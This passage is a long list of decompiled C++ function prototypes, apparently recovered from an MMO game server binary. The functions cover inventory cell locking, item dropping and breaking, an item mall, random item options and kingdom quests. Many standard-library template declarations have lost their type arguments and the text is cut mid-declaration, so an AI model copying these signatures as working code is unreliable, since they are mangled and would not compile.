InventoryLocking::LockedCell *ele); char __thiscall List::l_PopZ(List *this, InventoryLocking::LockedCell *ele); char __thiscall List::l_PopZ(List *this, ItemLotAnalyser::LotChanger *ele); std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Min(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode); void __thiscall InventoryLocking::InvenCellReleaser_UnEquipInfo::InvenCellReleaser_UnEquipInfo(InventoryLocking::InvenCellReleaser_UnEquipInfo *this); void __thiscall InventoryLocking::InvenCellReleaser_UnEquipInfo::_InvenCellReleaser_UnEquipInfo(InventoryLocking::InvenCellReleaser_UnEquipInfo *this); void __thiscall InventoryLocking::InvenCellReleaser::icr_Apply(InventoryLocking::InvenCellReleaser *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_CenChange::icr_Apply(InventoryLocking::InvenCellReleaser_CenChange *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_FameChange::icr_Apply(InventoryLocking::InvenCellReleaser_FameChange *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_CellChangeSmall::icr_Apply(InventoryLocking::InvenCellReleaser_CellChangeSmall *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_ItemUse::icr_Apply(InventoryLocking::InvenCellReleaser_ItemUse *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_PointStone::icr_Apply(InventoryLocking::InvenCellReleaser_PointStone *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_QuestReward::icr_Apply(InventoryLocking::InvenCellReleaser_QuestReward *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng::icr_Apply(InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser::icr_Reserv(InventoryLocking::InvenCellReleaser *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv(InventoryLocking::InvenCellReleaser_CenChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv(InventoryLocking::InvenCellReleaser_FameChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv(InventoryLocking::InvenCellReleaser_PointStone *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InventoryCellLockList::_InventoryCellLockList(InventoryLocking::InventoryCellLockList *this); void __thiscall InventoryLocking::InventoryCellLockList::icl_LockInventory(InventoryLocking::InventoryCellLockList *this, char lck); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven, unsigned __int16 ignore); void __thiscall InventoryLocking::InventoryCellLockList::icl_OnlyLock(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int inventype, int invenslot); void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreSmallItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ITEM_INVEN *to, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFurniture(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreMoney(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned __int64 money, int sign); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFame(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned int fame, int sign); void __thiscall InventoryLocking::InventoryCellLockList::icl_EquipLocation(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int equslot, ItemInventoryCell *equcell, int otherhand, ItemInventoryCell *otherhandcell); void __thiscall InventoryLocking::InventoryCellLockList::icl_UnEquipInfo(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int Unequslot, ItemInventoryCell *Unequcell); void __thiscall InventoryLocking::InventoryCellLockList::icl_UseItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemTotalInformation *iti, ITEM_INVEN *inv, UseEffect::UseItemBase *useitemclass); void __thiscall InventoryLocking::InventoryCellLockList::icl_StorePointStone(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int flag, int num); void __thiscall InventoryLocking::InventoryCellLockList::icl_QuestReward(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int exp, int fame, char ct_type, char ct_elementno); InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLock::icl_ReservedQuantity(InventoryLocking::InventoryCellLock *this, InventoryLocking::ReservedQuantity *reserv); void __thiscall InventoryLocking::InventoryCellLockList::icl_LinktoItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, NPCManager::LinkInformTemplete *pLinkInfo); void __thiscall InventoryLocking::InventoryCellLockList::icl_ItemInfoZoneRng(InventoryLocking::InventoryCellLockList *this, unsigned __int16 index, SHINE_INVEN_SLOT_INFO from, SHINE_INVEN_SLOT_INFO to, ItemTotalInformation changeiteminfo); void __thiscall InventoryLocking::InvenCellReleaser_CoinChange::icr_Apply(InventoryLocking::InvenCellReleaser_CoinChange *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_CoinChange::icr_Reserv(InventoryLocking::InvenCellReleaser_CoinChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc); void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreGBCoin(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned __int64 coin, int sign, char Exchange); char __thiscall List::l_PushA(List *this, InventoryLocking::LockedCell *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall ListSearchSame::lid_Call(ListSearchSame *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); void __thiscall ItemLotAnalyser::LotAnalyser::la_Store(ItemLotAnalyser::LotAnalyser *this, ITEM_INVEN *inven, ItemInventoryCell *cell, int delta); void __thiscall InventoryLocking::InvenCellReleaser_CellClear::icr_Apply(InventoryLocking::InvenCellReleaser_CellClear *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_CellChange::icr_Apply(InventoryLocking::InvenCellReleaser_CellChange *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureReloc::icr_Apply(InventoryLocking::InvenCellReleaser_FurnitureReloc *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_FurnitureCellClear::icr_Apply(InventoryLocking::InvenCellReleaser_FurnitureCellClear *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageClear::icr_Apply(InventoryLocking::InvenCellReleaser_GuildStorageClear *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_GuildStorageChange::icr_Apply(InventoryLocking::InvenCellReleaser_GuildStorageChange *this, #593 *, InventoryLocking::LockedCell *, char); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLockedOnlyCell(InventoryLocking::InventoryCellLockList *this, int type, int slot); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, int type, int slot, unsigned __int16 ignore); void __thiscall InventoryLocking::InventoryCellLockList::icl_Free(InventoryLocking::InventoryCellLockList *this, unsigned __int16 lockindex); void __thiscall InventoryLocking::InventoryCellLockList::icl_Free(InventoryLocking::InventoryCellLockList *this, int inventype, int invenslot); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsAnyLock(InventoryLocking::InventoryCellLockList *this); char __thiscall InventoryLocking::InventoryCellLockList::icl_IsAnyLocked(InventoryLocking::InventoryCellLockList *this); InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLockList::icl_ReservedQuantity(InventoryLocking::InventoryCellLockList *this, InventoryLocking::ReservedQuantity *reserv); void __thiscall InventoryLocking::InvenCellReleaser_LinkInfo::icr_Apply(InventoryLocking::InvenCellReleaser_LinkInfo *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); char __thiscall InventoryLocking::InventoryCellLockList::icl_Apply_N_Free(InventoryLocking::InventoryCellLockList *this, #593 *, unsigned __int16, char); void __thiscall ItemLotAnalyser::LotAnalyser::LotAnalyser(ItemLotAnalyser::LotAnalyser *this); void __thiscall InventoryLocking::InventoryCellLockList::InventoryCellLockList(InventoryLocking::InventoryCellLockList *this); std::pair,std::allocator >,1> >::iterator,std::_Tree_std::allocator>_1>>::equal_range(std::_Tree,std::allocator >,1> > *this, std::pair,std::allocator >,1> >::iterator,std::_Tree(ActionEffectItemTable *this, unsigned __int16 itemID, ItemAcion_Add function); bool __cdecl ActionEffectItemTable::doWithActionIDs(ActionEffectItemTable *this, unsigned __int16 itemID, ItemAcion_Del function); void __thiscall InventoryLocking::InvenCellReleaser_EquipLocation::icr_Apply(InventoryLocking::InvenCellReleaser_EquipLocation *this, #593 *, InventoryLocking::LockedCell *, char); void __thiscall InventoryLocking::InvenCellReleaser_UnEquipInfo::icr_Apply(InventoryLocking::InvenCellReleaser_UnEquipInfo *this, #593 *, InventoryLocking::LockedCell *, char); const char *__thiscall ShineScript::ss_String(ShineScript *this, char *scriptindex); // void __usercall itembreakmenu(char *str, void (__thiscall *ok)(ServerMenuFuncter *this, #734 *, ServerMenuArgument *), void (__thiscall *cancel)(ServerMenuFuncter *this, #734 *, ServerMenuArgument *), #734 *sp, ServerMenuArgument *argument); void __thiscall ItemDropper::id_OK(ItemDropper *this, #734 *, ServerMenuArgument *); void __thiscall ItemBreaker::ib_OK(ItemBreaker *this, #734 *, ServerMenuArgument *); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakSuccess(void *this, int suc); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail(void *this, int fail); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMBREAKSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMBREAKFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ServerMenuFuncter::smfm_ItemBreakWarn1(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemBreakCancel(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemDropWarn(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemDropCancel(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_ItemBreakWarn0(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); char __thiscall ItemDropper::id_Drop(ItemDropper *this, #734 *, ItemInventoryCell *, ITEM_INVEN *, PROTO_NC_ITEM_DROP_REQ *, unsigned __int16 *); char __thiscall ItemBreaker::ib_Break(ItemBreaker *this, #734 *, ItemInventoryCell *, ITEM_INVEN, unsigned __int16 *); char __thiscall ORToken::operator__(ORToken *this, ORToken *nm); unsigned int __thiscall RandomBox::rb_1000000(RandomBox *this); int __cdecl ItemDropFromMob::DropItemListInGroup::dilig_Compare(const void *a, const void *b); int __thiscall DropItemStruct::ItemGroup::operator_(int this, int a2); void __thiscall ItemDropFromMob::DropIndexCluster::DropIndexCluster(ItemDropFromMob::DropIndexCluster *this); int __thiscall MobRegenClass::MobBreeder::mb_RegenGroupIndex(void *this, int regengroup); int __thiscall ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed(int this); void __thiscall ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this); void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(ItemDropFromMob::DropItemListInGroup *this, unsigned __int16 itm, DropItemStruct::ItemGroup *ig); void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_Drop(ItemDropFromMob::DropItemListInGroup *this, #593 *, ShineMultiTypeHandle *, unsigned int); void __thiscall ItemDropFromMob::DropIndexCluster::_DropIndexCluster(ItemDropFromMob::DropIndexCluster *this); void __thiscall ItemDropFromMob::DropItemListInGroup::DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this); void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_StoreItem(ItemDropFromMob::DropItemListInGroup *this, char *index, DropItemStruct::ItemGroup *ig); void __thiscall ItemDropFromMob::DropGroupCluster::DropGroupCluster(ItemDropFromMob::DropGroupCluster *this); void __thiscall ItemDropFromMob::DropGroupCluster::dgc_Append(ItemDropFromMob::DropGroupCluster *this, ORToken *index); ItemDropFromMob::DropItemListInGroup *__thiscall ItemDropFromMob::DropGroupCluster::dgc_Find(ItemDropFromMob::DropGroupCluster *this, ORToken *index); void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate(ItemDropFromMob::DropItemListForSpecies *this, ItemDropFromMob::DropItemInform *dii, #593 *attacker, RateRecalc *victim, ShineMultiTypeHandle *rrcalc, unsigned int LooterHandle); void __thiscall ItemDropFromMob::DropIndexCluster::dic_Load(ItemDropFromMob::DropIndexCluster *this, Name4 *world); void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_Drop(ItemDropFromMob::DropItemListForSpecies *this, DropItemStruct::DropTable *droptable, ORToken *regengroup, #593 *attacker, ShineMultiTypeHandle *victim, RateRecalc *LooterHandle, unsigned int raterecalc); void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_ItemDrop(ItemDropFromMob::DropItemListForSpecies *this, ORToken *regengroup, #593 *attacker, ShineMultiTypeHandle *victim, unsigned int LooterHandle); void __thiscall ItemDropFromMob::DropIndexCluster::dic_ItemDrop(ItemDropFromMob::DropIndexCluster *this, #593 *, MobDataBox::MobDataBoxIndex *, #1429 *, ShineMultiTypeHandle *, unsigned int); char __thiscall ItemDataBox::idb_iter_next(ItemDataBox *this, unsigned int *pnt); unsigned __int16 __thiscall ItemDataBox::idb_iter_Get(ItemDataBox *this, unsigned int *pnt); void __thiscall ItemGroupClassifier::ItemGroupClassifier(ItemGroupClassifier *this); void __thiscall ItemGroupClassifier::_ItemGroupClassifier(ItemGroupClassifier *this); void __thiscall ItemGroupClassifier::igc_Store(ItemGroupClassifier *this, unsigned __int16 itmid, char *dropgroup); char __thiscall LuaFuncTrigger::TriggerElement::te_TriggerEvent(LuaFuncTrigger::TriggerElement *this, #593 *ply); void __thiscall LuaFuncTrigger::TriggerChat::TriggerChat(LuaFuncTrigger::TriggerUseItem *this, #593 *, const char *, int); int __thiscall CardDeck::CardStack::cs_CardNum(CardDeck::CardStack *this); unsigned __int16 __thiscall CardDeck::CardStack::cs_TakeTop(CardDeck::CardStack *this, unsigned int *card); void __thiscall ItemGroupClassifier::igc_Load(ItemGroupClassifier *this); unsigned __int16 __thiscall ItemGroupClassifier::igc_Getitem(ItemGroupClassifier *this, char *str, unsigned int clsmask); char __thiscall ItemGroupClassifier::igc_ChargedDuringUse(ItemGroupClassifier *this, ItemAttributeClass *iac, ItemTotalInformation *iti); void __thiscall LuaFuncTrigger::TriggerChat::tc_PullTheTrigger(LuaFuncTrigger::TriggerChat *this, #734 *, char *); void __thiscall LuaFuncTrigger::TriggerJump::tj_PullTheTrigger(LuaFuncTrigger::TriggerJump *this, #734 *ply); void __thiscall LuaFuncTrigger::TriggerUseItem::tui_PullTheTrigger(LuaFuncTrigger::TriggerUseItem *this, #734 *, unsigned __int16); void __thiscall ShineObjectClass::ShineObject::so_ply_AdminCommand(ItemAttributeClass *this, ItemTotalInformation *iti, char nEndureGrade); void __thiscall std::vector>::_Xlen(std::vector > *this); int __stdcall ShineObjectClass::ShinePlayer::sp_CalcTotalLot(int bag, __int16 itemid); ItemLotInspector *__cdecl ShineObjectClass::ShineObject::so_ply_GetItemLotInspector(); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetItemLotInspector(void *this); void __thiscall ItemLotInspector::ItemLotInspector(ItemLotInspector *this); void __thiscall ItemLotInspector::ili_Clear(ItemLotInspector *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_CalcTotalLot(void *this, __int16 itemid, int isstoragecount, char first); void __thiscall ItemLotInspector::ili_History(ItemLotInspector *this); char __thiscall ItemLotInspector::ili_ItemCheck(ItemLotInspector *this, #734 *, SHINE_ITEM_STRUCT *, int); char __thiscall ItemLotInspector::ili_Check(ItemLotInspector *this, #734 *sp); ItemMall::ItemSetList *__thiscall ItemMall::im_FindStruct(ItemMall *this, unsigned int code); void __thiscall ItemMall::im_AddSet(ItemMall *this, ItemMall::ItemSetList *isl, ItemShop *is); // void __usercall ItemMallError(#734 *sp, unsigned int order, unsigned __int16 err); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall ItemMall::im_NewSet(ItemMall *this, ItemShop *is); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGEDINVENOPEN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_CHARGED_LIST_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_CHARGED_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedWithdraw(void *this, int withdraw); void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillChargedInven(void *this, int chargedlist); ItemServerEquipTypeInfo *__thiscall ItemEquipTable::iet_GetArray(ItemEquipTable *this, ISEType ist); void __thiscall ItemEquipTable::iet_Load(ItemEquipTable *this); void __thiscall ItemMall::im_Load(ItemMall *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); std::vector >::iterator *__cdecl std::find>::iterator_ItemRandomOption::RandomOptionList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, ItemRandomOption::RandomOptionList *_Val); SHINE_XY_TYPE *__cdecl std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>(std::vector >::iterator _First, std::vector >::iterator _Last, SHINE_XY_TYPE *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall ItemRandomOption::RandomOptionTable::rot_FillOption(ItemRandomOption::RandomOptionTable *this, ItemOptionStorage *option, ItemRandomOption::RandomOptionDatum *datum); TickTimer *__thiscall std::vector>::_Ucopy(std::allocator *_Al, TickTimer *_First, TickTimer *_Last, TickTimer *__formal); SHINE_XY_TYPE *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::iterator _First, std::vector >::iterator _Last, SHINE_XY_TYPE *__formal); void __thiscall std::vector>::_Xlen(std::vector > *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemRandomOption::ValueList *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemRandomOption::OptionCountTable *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L84081(int a1); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L84209(int a1); void *__thiscall std::vector>::operator_(void *this, int __formal); void *__thiscall std::vector>::operator_(void *this, int __formal); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, ItemRandomOption::ValueList *_Val); ItemRandomOption::OptionTable *__cdecl std::_Copy_backward_opt(ItemRandomOption::OptionTable *_First, ItemRandomOption::OptionTable *_Last, ItemRandomOption::OptionTable *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); ItemRandomOption::OptionTable *__cdecl std::_Copy_opt(ItemRandomOption::OptionTable *_First, ItemRandomOption::OptionTable *_Last, ItemRandomOption::OptionTable *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::push_back(std::vector > *this, ItemRandomOption::ValueList *_Val); void __cdecl std::fill(ItemRandomOption::OptionTable *_First, ItemRandomOption::OptionTable *_Last, ItemRandomOption::OptionTable *_Val); ItemRandomOption::OptionTable *__cdecl std::_Uninit_copy>::const_iterator_ItemRandomOption::OptionTable___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, ItemRandomOption::OptionTable *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(ItemRandomOption::OptionTable *_First, unsigned int _Count, ItemRandomOption::OptionTable *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); ItemRandomOption::OptionTable *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::const_iterator _First, std::vector >::const_iterator _Last, ItemRandomOption::OptionTable *__formal); ItemRandomOption::OptionTable *__thiscall std::vector>::_Ufill(std::vector > *this, ItemRandomOption::OptionTable *_Ptr, unsigned int _Count, ItemRandomOption::OptionTable *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemRandomOption::OptionTable *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, ItemRandomOption::OptionTable *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L86386(int a1); void __thiscall std::vector>::push_back(std::vector > *this, ItemRandomOption::OptionTable *_Val); void __thiscall ItemRandomOption::RandomOptionList::RandomOptionList(ItemRandomOption::RandomOptionList *this, ItemRandomOption::RandomOptionList *__that); void *__thiscall std::vector>::operator_(void *this, int __formal); ItemRandomOption::OptionTable *__thiscall ItemRandomOption::RandomOptionList::rol_FindOption(ItemRandomOption::RandomOptionList *this, RandomOptionType rot); void __thiscall ItemRandomOption::RandomOptionList::_RandomOptionList(ItemRandomOption::RandomOptionList *this); ItemRandomOption::RandomOptionList *__cdecl std::_Copy_backward_opt(ItemRandomOption::RandomOptionList *_First, ItemRandomOption::RandomOptionList *_Last, ItemRandomOption::RandomOptionList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); ItemRandomOption::RandomOptionList *__thiscall ItemRandomOption::RandomOptionTable::rot_Find(ItemRandomOption::RandomOptionTable *this, Name8 *idx); ItemRandomOption::RandomOptionDatum *__thiscall ItemRandomOption::RandomOptionTable::operator__(ItemRandomOption::RandomOptionTable *this, char *idx); void __cdecl std::fill(ItemRandomOption::RandomOptionList *_First, ItemRandomOption::RandomOptionList *_Last, ItemRandomOption::RandomOptionList *_Val); ItemRandomOption::RandomOptionList *__cdecl std::_Uninit_copy>(ItemRandomOption::RandomOptionList *_First, ItemRandomOption::RandomOptionList *_Last, ItemRandomOption::RandomOptionList *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(ItemRandomOption::RandomOptionList *_First, unsigned int _Count, ItemRandomOption::RandomOptionList *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); ItemRandomOption::RandomOptionList *__thiscall std::vector>::_Ufill(std::vector > *this, ItemRandomOption::RandomOptionList *_Ptr, unsigned int _Count, ItemRandomOption::RandomOptionList *_Val); void __thiscall std::vector>::_Destroy(std::vector > *this, ItemRandomOption::RandomOptionList *_First, ItemRandomOption::RandomOptionList *_Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemRandomOption::RandomOptionList *_Val); void __thiscall std::vector>::_Tidy(std::vector > *this); void __thiscall NPCAction::Manager::Manager(AbnormalStateShelter::AbstateShelter *this); void __thiscall ItemRandomOption::RandomOptionTable::_RandomOptionTable(ItemRandomOption::RandomOptionTable *this); void __thiscall ItemRandomOption::RandomOptionTable::rot_Load(ItemRandomOption::RandomOptionTable *this, Name4 *world); void __thiscall ItemsInChest::ItemsInChest(ItemsInChest *this); unsigned __int16 __thiscall ItemsInChest::iic_StoreItem(ItemsInChest *this, ItemTotalInformation *buf); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall PROTO_KQ_MAP_INFO::operator_(int this, int a2); int __thiscall PROTO_KQ_INFO::operator_(int this, int a2); void __thiscall KingdomQuestEntrance::KingdomQuestEntrance(KingdomQuestEntrance *this); void __thiscall KingdomQuestEntrance::kqe_entry(KingdomQuestEntrance *this, unsigned __int16 handle); int __cdecl KingdomQuestEntrance::kqe_Compare(const void *a, const void *b); void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::KingdomQuestGateKeeper(KingdomQuestGate::KingdomQuestGateKeeper *this); bool __thiscall KingdomQuestGate::KingdomQuestGateKeeper::erb_CheckLinkMap(KingdomQuestGate::KingdomQuestGateKeeper *this, #593 *obj); int __thiscall KingdomQuest::KQPlayerInform::regnumcomp(KingdomQuest::KQPlayerInform *this, List *lst, unsigned __int16 hnd, KingdomQuest::KQPlayerInform *key); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, KingdomQuest::KQPlayerInform *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, KingdomQuest::KQPlayerInform *ele); char __thiscall List::l_PopZ(List *this, KingdomQuest::KQPlayerInform *ele); void __thiscall KingdomQuest::KQElement::kqe_QuestStart(KingdomQuest::KQElement *this); KingdomQuest::KQElement *__thiscall KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(KingdomQuest::KingdomQuestContainer *this, unsigned int handle, unsigned __int16 *lsthnd); char __thiscall ListIteratorKingdomQuestMapFind::lid_Call(ListIteratorKingdomQuestMapFind *this, KingdomQuest::KQElement *ele, unsigned __int16 handle); char __thiscall KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck(KingdomQuest::KingdomQuestContainer *this, Name3 *map_); void __thiscall AxialListObjectClear::AxialListObjectClear(AxialListObjectClear *this, unsigned int clearflag); void __thiscall AxialListObjectClear::_AxialListObjectClear(AxialListObjectClear *this); char __thiscall AxialListObjectClear::ali_Work(AxialListObjectClear *this, #593 *, #593 *, unsigned int); void __thiscall FieldMap::fm_ClearObject(void *this, unsigned int eraseflag); void __cdecl ShineObjectClass::ShineObject::so_RetrateFromMap(); void __thiscall ShineObjectClass::ShineObject::so_RetreatFromMapByImmeditely(void *this); void __thiscall ShineObjectClass::ShineDropItem::so_RetrateFromMap(ShineObjectClass::ShineDropItem *this); void __thiscall ShineObjectClass::ShineEffectObject::so_RetrateFromMap(ShineObjectClass::ShineEffectObject *this); void __thiscall ShineObjectClass::ShineMobileObject::so_RetrateFromMap(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_RetreatFromMapByImmeditely(void *this); void __thiscall ShineObjectClass::ShineDoor::so_RetrateFromMap(ShineObjectClass::ShineDoor *this); void __stdcall ShineObjectClass::ShineObject::so_LinkToReserv(int lnkinf, char TryUntilSuccess); void __thiscall ShineObjectClass::ShinePlayer::so_LinkToReserv(void *this, const void *lnkinf, char TryUntilSuccess); void __stdcall ShineObjectClass::ShineObject::so_TeleportReserv(int Location); void __thiscall ShineObjectClass::ShinePlayer::so_TeleportReserv(void *this, int Location); void __thiscall KingdomQuestEntrance::kqe_sort(KingdomQuestEntrance *this, unsigned __int16 handle); PROTO_NC_KQ_JOINER *__thiscall KingdomQuestEntrance::kqe_search(KingdomQuestEntrance *this, PROTO_NC_KQ_JOINER *key, unsigned __int16 handle); int __thiscall KingdomQuestEntrance::operator__(KingdomQuestEntrance *this, PROTO_NC_KQ_W2Z_START_CMD *kqstart); void __thiscall KingdomQuestGate::KingdomQuestGate(KingdomQuestGate *this); void __thiscall KingdomQuestGate::_KingdomQuestGate(KingdomQuestGate *this); void __thiscall 